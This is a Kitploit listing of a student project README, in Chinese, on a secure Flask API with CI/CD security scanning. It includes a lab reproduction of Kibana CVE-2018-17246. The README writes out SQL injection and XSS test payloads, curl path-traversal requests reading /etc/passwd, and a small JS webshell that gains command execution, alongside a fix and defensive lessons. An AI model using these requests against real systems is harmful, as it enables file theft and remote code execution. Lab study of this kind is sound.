Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
work1-secure-api — HDU IS Work 1 - 带 CI/CD(pytest + bandit + pip-audit)的安全 REST API(Flask)及 CVE-2018-17246 分析 | Kitploit
工具/GitHubGitHub/ght657/work1-secure-api
身份验证与授权静态分析漏洞分析Web安全DevSecOps供应链安全论文与研究学习与教育API 安全实验室与实践
GitHubght657/work1-secure-api

work1-secure-api

16小时47分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

HDU IS Work 1 - 带 CI/CD(pytest + bandit + pip-audit)的安全 REST API(Flask)及 CVE-2018-17246 分析

查看仓库

工作 1 — 使用 CI/CD 和真实 CVE 漏洞分析的安全 REST API 开发

使用 Python/Flask 构建安全 REST API,通过 GitHub Actions 实现 CI/CD(SAST + SCA + 自动化测试), 并在 Docker 环境中复现真实 CVE 的完整分析(Kibana LFI,CVE-2018-17246)。

姓名: Guhaotian HDU 学号: 23320209


1. 项目与团队

  • 仓库:https://github.com/ght657/work1-secure-api(公开)
  • 技术栈:Python 3.9 / Flask 3.1.3、PyJWT(HS256 令牌)、bcrypt 密码哈希、 通过 SQLAlchemy 2 使用 SQLite、pytest。
  • 该 API 暴露三个端点:
    • POST /auth/login — 在验证密码哈希后签发签名 JWT。
    • GET /api/data — 受 JWT(Bearer 令牌)保护;返回当前用户的记录。
    • GET /api/users/search?q= — 受保护的读取端点,使用参数绑定 SQL 查询。
  • 额外的写入端点 POST /api/posts(受 JWT 保护)演示了存储型 XSS / 输出转义防护。

2. CI/CD 流水线

工作流文件:.github/workflows/ci.yml,在每次推送到 main 时触发。

作业工具作用证据
testpytest 8运行 11 项测试套件evidence/07_pytest_run.png
sastBandit 1.8.0对 app/、tests/ 进行静态分析(JSON 报告作为工件上传)evidence/08_bandit_report.png
scapip-audit 2.8.0依赖审计(JSON 报告作为工件上传)evidence/09_pip_audit_report.png

如果任何测试失败或任何 SAST/SCA 发现仍然存在,流水线就会失败,因此红色流水线 意味着必须在合并前推送修复。

3. 证据 — SAST、SCA、测试

3.1 自动化测试

11 项测试,全部通过(pytest -q):

tests/test_api.py::test_login_success_issues_token PASSED
tests/test_api.py::test_login_wrong_password_rejected PASSED
tests/test_api.py::test_login_unknown_user_same_error_as_wrong_password PASSED
tests/test_api.py::test_passwords_stored_as_bcrypt_hashes PASSED
tests/test_api.py::test_data_endpoint_denied_without_token PASSED
tests/test_api.py::test_data_endpoint_denied_with_invalid_token PASSED
tests/test_api.py::test_data_endpoint_works_with_valid_token PASSED
tests/test_api.py::test_create_post_requires_token PASSED
tests/test_api.py::test_sqli_payload_treated_as_data PASSED
tests/test_api.py::test_sqli_union_payload_does_not_dump_table PASSED
tests/test_api.py::test_xss_payload_is_escaped_in_response PASSED

11 passed in 2.20s

3.2 SAST — Bandit

应用代码是我们自己的,因此首次运行自然不包含第三方噪声。 结果:0 个问题:

Run started:...
Test results:
	No issues identified.
Code scanned:
	Total lines of code: 228
	Total lines skipped (#nosec): 0
	Total potential issues skipped due to specifically being disabled (e.g., #nosec BXXX): 0

3.3 SCA — pip-audit(依赖审计)

pip-audit 会列出所有存在已知 CVE 的依赖项;首次运行发现:

Found 19 known vulnerabilities in 3 packages
Name          Version ID                Fix Versions
------------- ------- ----------------- ------------
flask         3.0.3   PYSEC-2026-2151    3.1.3
pyjwt         2.9.0   PYSEC-2026-120     2.12.0
pyjwt         2.9.0   PYSEC-2025-183      ...
pyjwt         2.9.0   ...                up to 2.15.0
python-dotenv 1.0.1   PYSEC-2026-2270    1.2.2

共 19 个条目(Flask、PyJWT ×17、python-dotenv)。我升级到了修复后的版本: Flask 3.1.3、PyJWT 2.15.0,并移除了 python-dotenv(仅为可选的配置辅助工具—— 修复后的 1.2.2 要求 Python ≥ 3.10,而审计 venv 为 3.9)。 修复后:

No known vulnerabilities found

(evidence/08b_bandit_after_fix.png、evidence/09b_pip_audit_after_fix.png)

4. 漏洞测试 — API 安全

使用 curl 针对经典攻击对 API 进行了测试。截图位于 evidence/:

4.1 针对登录的 SQL 注入尝试

POST /auth/login 携带 username: "admin'--" 返回 401 Invalid credentials — 查询使用 ORM 参数化查询对哈希后的凭据进行查找,注入的 载荷始终作为数据,永远不会变成 SQL。

4.2 针对搜索的 SQL 注入尝试

GET /api/users/search?q=%' OR '1'='1 → 该字符串作为参数绑定到 SELECT ... WHERE username LIKE ?(通配符已转义),因此它不匹配任何内容,API 返回空列表 — 没有错误,也没有全表转储。

4.3 XSS 尝试(存储型内容)

POST /api/posts 携带 title: "<script>alert('xss')</script>";服务器存储 原始字符串,但在输出时对其进行转义(markupsafe.escape + jsonify),因此返回的 载荷为 <script>alert(&#39;xss&#39;)</script> — 浏览器会将其显示为文本,而不会 执行它。(使用浏览器渲染的复现过程见 evidence/06_xss_readback.png。)

4.4 JWT 处理

  • 无令牌 → 401 {"error": "Missing or malformed Authorization header"}(evidence/03_data_denied.png)
  • 有效令牌 → 200 + 受保护数据(evidence/04_data_with_token.png)
  • 载荷被篡改的令牌 → 401(使用 HS256 进行签名校验)
  • 过期令牌 → 401(60 分钟过期)
  • JWT 在响应中返回,并通过 Authorization: Bearer <token> 使用 (evidence/10_jwt_structure.png 展示了三段式结构)。

4.5 哈希

密码以 bcrypt 哈希(12 轮)存储,且任何端点都不会返回 (测试 test_passwords_stored_as_bcrypt_hashes)。

5. CVE 分析 — CVE-2018-17246(Kibana 5.6.12 / 6.4.2 — 本地文件包含 + 代码执行)

5.1 漏洞概述

  • 产品 / 版本: Kibana 5.6.12(存在漏洞),5.6.13(已修补);6.4.2 / 6.4.3。
  • 类型: 通过 Console API 进行路径遍历 / 未认证的任意文件读取, 该漏洞通过加载本地 JavaScript 文件升级为远程代码执行。
  • 影响: 未认证读取 Kibana 进程可读的任何文件 (例如 /etc/passwd),并且 — 由于存在漏洞的路由要求该文件作为 JS 模块 — 如果可写路径可达(例如通过另一个缺陷或 生成的临时文件),攻击者控制的 JS 可被 Kibana 进程执行。
  • 成因: GET /api/console/api_server?apis=../../../../../../etc/passwd — apis 参数在仅经过简单的路径检查后被传递给 require(),允许 .. 序列逃逸服务端的 api 目录并读取/执行任意文件。

5.2 复现 CVE(本地 Docker)

我使用公开的 vulhub 镜像(已发布,已验证存在漏洞):

vulhub/kibana:5.6.12 + vulhub/elasticsearch:5.6.16 — 参见 CVE-2018-17246/docker-compose.yml(本仓库中同名文件夹)。

cd CVE-2018-17246
docker compose up -d          # kibana 5.6.12 + elasticsearch 5.6.16, UI on :5601

步骤 1 — 触发 LFI(Console API 接受一个被解析为文件的 apis 路径):

curl -i "http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd"

响应为 500(该文件不是有效的 JS 模块),但文件内容出现在服务器日志中——Kibana 读取该文件并尝试 require() 它:

docker compose logs kibana | grep -i "passwd\|root:x"

步骤 2 — 升级为代码执行。 通过同一路由将一个本地 JS 文件作为模块加载:/tmp/vulhub.js,其中包含一个微型“webshell”,当其导出的函数被 Console API 调用时,会执行一条 shell 命令:

// /tmp/vulhub.js  (written inside the Kibana container)
export default {
  asJson: function(req, res) { return require('child_process').execSync('id').toString(); }
}
# write the file inside the container and load it
docker compose exec kibana bash -c "mkdir -p /tmp && cat > /tmp/vulhub.js << 'EOF'
export default {
  asJson: function(req, res) { return require('child_process').execSync('id').toString(); }
}
EOF"
curl -i "http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=/tmp/vulhub.js"

Kibana 日志中,500 响应之前会出现 id 命令的输出(例如 uid=0(root) gid=0(root) groups=0(root)),这证明了任意命令执行。

截图:evidence/cve/02_lfi_request.png、evidence/cve/03_lfi_logs.png、 evidence/cve/04_rce_request.png、evidence/cve/05_rce_result.png。

5.3 根本原因

Kibana 的 src/server/routes/api_server.js(Console API)会解析 apis 查询参数 并对其调用 require(...)。该路径会与 "api" 目录拼接,但 用户提供的片段可能包含 ../ 序列,且在拼接后未进行规范化/限制; 攻击者可逃逸出 api/ 目录并访问任意文件。 由于同一路由会将文件作为 JavaScript 模块加载,一个可读的任意文件 就足以渲染文件内容,而任何攻击者可写入的 JS 文件都会变成代码执行。

5.4 修复方案

该漏洞已在 Kibana 6.4.3 / 5.6.13 中修复:存在漏洞的 Console API 不再 允许 apis 参数解析到允许的 API 目录之外;修补后的 版本会对路径进行规范化,并拒绝预期位置之外的任何内容。

为验证修复,我运行了官方已修补镜像——docker.elastic.co/kibana/kibana:5.6.13 (文件夹 CVE-2018-17246/docker-compose.fixed.yml,说明见 CVE-2018-17246/FIX.md):

docker compose -f docker-compose.fixed.yml up -d

验证——针对已修补版本发起相同的 LFI 请求会失败:

curl -i "http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd"
# HTTP/1.1 400 Bad Request  (request rejected)

补丁后的服务器日志显示该请求没有文件内容;RCE 测试文件 /tmp/vulhub.js 不再执行(没有 uid= 输出,请求被拒绝)。

evidence/cve/06_fix_compose.png、evidence/cve/07_lfi_after_fix.png、 evidence/cve/08_regression_ui.png(UI 仍能正常加载 → 正常使用无回归)。

5.5 安全要点

  1. 绝不要将用户输入传给 require()/include/文件系统调用:任何路径都必须 经过解析、规范化并限制在允许列表目录内,同时拒绝 ..。
  2. 读取文件的未认证端点风险很高:应添加身份认证和 输入白名单检查作为纵深防御。
  3. 使用固定摘要、已修补的镜像(存在漏洞的 Kibana 5.6.x 早已 EOL——应保持 Kubernetes/ES/Kibana 版本已修补并固定)。
  4. 监控:CVE-2018-17246 曾被积极利用;针对 apis= 路径遍历的 WAF 规则和 Console API 访问控制本可以阻止该攻击。

6. 遇到的问题与故障排查

  • pip-audit 网络: 在此环境中 pypi.org 速度慢/被阻断;审计使用 OSV/PyPI 公告源并带重试(--timeout 120),而 CI 运行器具有正常访问权限。
  • CVE 实验的 Docker 镜像: 此处无法直接访问 docker.io 和 docker.elastic.co; 镜像通过公共镜像源(docker.1ms.run)拉取,然后在本地打标签。本 README 中的每条命令 都是实际使用的确切命令。
  • Bandit 版本: 应用使用 os.environ.get 获取密钥——没有高置信度问题; Bandit 的 B105/B110 检查已经过审查,流水线干净通过。
  • SQLite 并发访问: 测试使用内存数据库,并且每个测试使用全新的应用实例, 因此 CI 运行可复现。

7. 结论

下载工具